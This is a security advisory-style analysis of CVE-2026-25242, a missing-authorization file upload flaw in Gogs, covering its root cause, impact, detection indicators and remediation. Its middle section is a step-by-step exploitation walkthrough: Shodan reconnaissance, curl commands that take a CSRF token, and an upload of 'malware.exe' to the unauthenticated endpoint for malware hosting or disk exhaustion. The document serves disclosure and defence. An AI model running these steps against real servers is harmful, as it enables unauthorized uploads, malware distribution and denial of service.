CVE-2026-25242: 
Gogs vulnerability analysis and mitigation

CVE-2026-25242 is an unauthenticated file upload vulnerability in Gogs, an open-source self-hosted Git service, classified as Missing Authorization (CWE-862). When the default RequireSigninView configuration is disabled, any unauthenticated remote user can upload arbitrary files to the server via the /releases/attachments and /issues/attachments endpoints. The vulnerability affects Gogs versions 0.13.4 and below, and was discovered by OpenAI Security Research in August 2025 via GPT-5, disclosed to the Gogs project on August 6, 2025, and publicly disclosed on February 14, 2026. It carries a CVSS v3.1 base score of 9.8 (Critical) and a CVSS v4.0 base score of 6.9 (Medium) (GitHub Advisory, Gogs Advisory).

The root cause is a missing authorization check (CWE-862) in Gogs' web router (internal/cmd/web.go), where the /issues/attachments and /releases/attachments POST endpoints were placed under the ignSignIn route group rather than the reqSignIn group. The ignSignIn group only enforces authentication when RequireSigninView is explicitly enabled — which is not the default — meaning unauthenticated users can freely access these endpoints. Although CSRF protection is present, it is ineffective as an attacker can anonymously retrieve a valid CSRF token from the Gogs homepage and include it in the upload request. The vulnerability was introduced via commit 07818d5 on 2020-04-05 and affects all Gogs versions since that date (GitHub Advisory, Patch Commit).

Successful exploitation allows unauthenticated attackers to upload arbitrary files of any MIME type to the server's data/attachments directory, with each upload returning a publicly accessible UUID-based URL. This effectively turns any exposed Gogs instance into an open public file host, enabling disk exhaustion through repeated large uploads (denial of service), hosting of phishing payloads or malware under the Gogs server's trusted domain, and use of the instance as a file dump for data exfiltration or peer-to-peer distribution. The vulnerability is particularly dangerous for internet-facing production installations running default configurations (GitHub Advisory, Gogs Advisory).

A public proof-of-concept (PoC) exploit is available on GitHub at https://github.com/mindkernel/CVE-2026-25242, and the original PoC was included in the security advisory itself. A Nuclei template pull request was also submitted to ProjectDiscovery's nuclei-templates repository for automated detection. As of the time of reporting, there is no confirmed evidence of in-the-wild exploitation. The EPSS score is approximately 0.195% (27th percentile), indicating a currently low but non-negligible probability of exploitation. No CISA KEV catalog listing has been identified, and no specific threat actor attribution has been made (GitHub Advisory, PoC).

1. Reconnaissance: Identify internet-facing Gogs instances running version 0.13.4 or below using tools like Shodan (search for http.title:"Gogs") or Censys. Confirm the instance is using default configuration (i.e., RequireSigninView is not explicitly enabled).
2. Obtain CSRF token: Send an unauthenticated GET request to the Gogs homepage to receive a session cookie containing a valid _csrf token:

   curl -sS -c cookies.txt http://<target>/ -o /dev/null
   CSRF="$(awk '$6=="_csrf"{print $7}' cookies.txt | tail -n1)"

3. Upload arbitrary file: POST a file to the unauthenticated attachment endpoint using the obtained cookie and CSRF token:

   curl -sS \
     -b cookies.txt -c cookies.txt \
     -H "X-CSRF-Token: $CSRF" \
     -H "Referer: http://<target>/" \
     -F "file=@malware.exe" \
     http://<target>/issues/attachments

4. Retrieve uploaded file: The server responds with a UUID (e.g., {"uuid":"<uuid>"}). The uploaded file is publicly accessible at http://<target>/attachments/<uuid>.
5. Abuse: Repeat uploads to exhaust disk space, or distribute the hosted file URL for phishing, malware delivery, or data exfiltration purposes (GitHub Advisory, Gogs Advisory).

• Network: Unusual or high-volume POST requests to /issues/attachments or /releases/attachments from unauthenticated (anonymous) sessions; outbound traffic serving files from /attachments/<uuid> paths to external or unknown IPs.
• Logs: Web server access logs showing repeated POST /issues/attachments or POST /releases/attachments requests with HTTP 200 responses from unauthenticated users; requests originating from a single IP or distributed IPs in rapid succession.
• File System: Unexpected or large numbers of files appearing in the Gogs data/attachments/ directory with UUID-based filenames; files with suspicious extensions (e.g., .exe, .sh, .php) in the attachments directory.
• Process/Resource: Sudden spike in disk usage on the Gogs server's data partition; disk exhaustion alerts on the volume hosting Gogs data (GitHub Advisory).

The primary remediation is to upgrade Gogs to version 0.14.1 or later, which moves the /issues/attachments and /releases/attachments endpoints from the ignSignIn route group to the reqSignIn group, requiring authentication for all file uploads (Gogs Release, Patch Commit). As a temporary workaround for instances that cannot be immediately patched, enable the RequireSigninView global setting in the Gogs configuration, which forces authentication for all views including the attachment endpoints. Additionally, restricting network access to the Gogs instance to trusted networks only (e.g., via firewall rules) reduces exposure until patching is feasible (GitHub Advisory).

The vulnerability was discovered by OpenAI Security Research using GPT-5 as part of an automated security scanning initiative, and was later highlighted in coverage of OpenAI's Codex Security tool, which scanned 1.2 million commits and identified over 10,000 high-severity issues. The disclosure received attention on social media platforms including Mastodon and Bluesky via TheHackerWire, and was covered in cybersecurity news digests. A Nuclei detection template was submitted to ProjectDiscovery's community repository shortly after disclosure, reflecting active community interest in detection tooling (GitHub Advisory).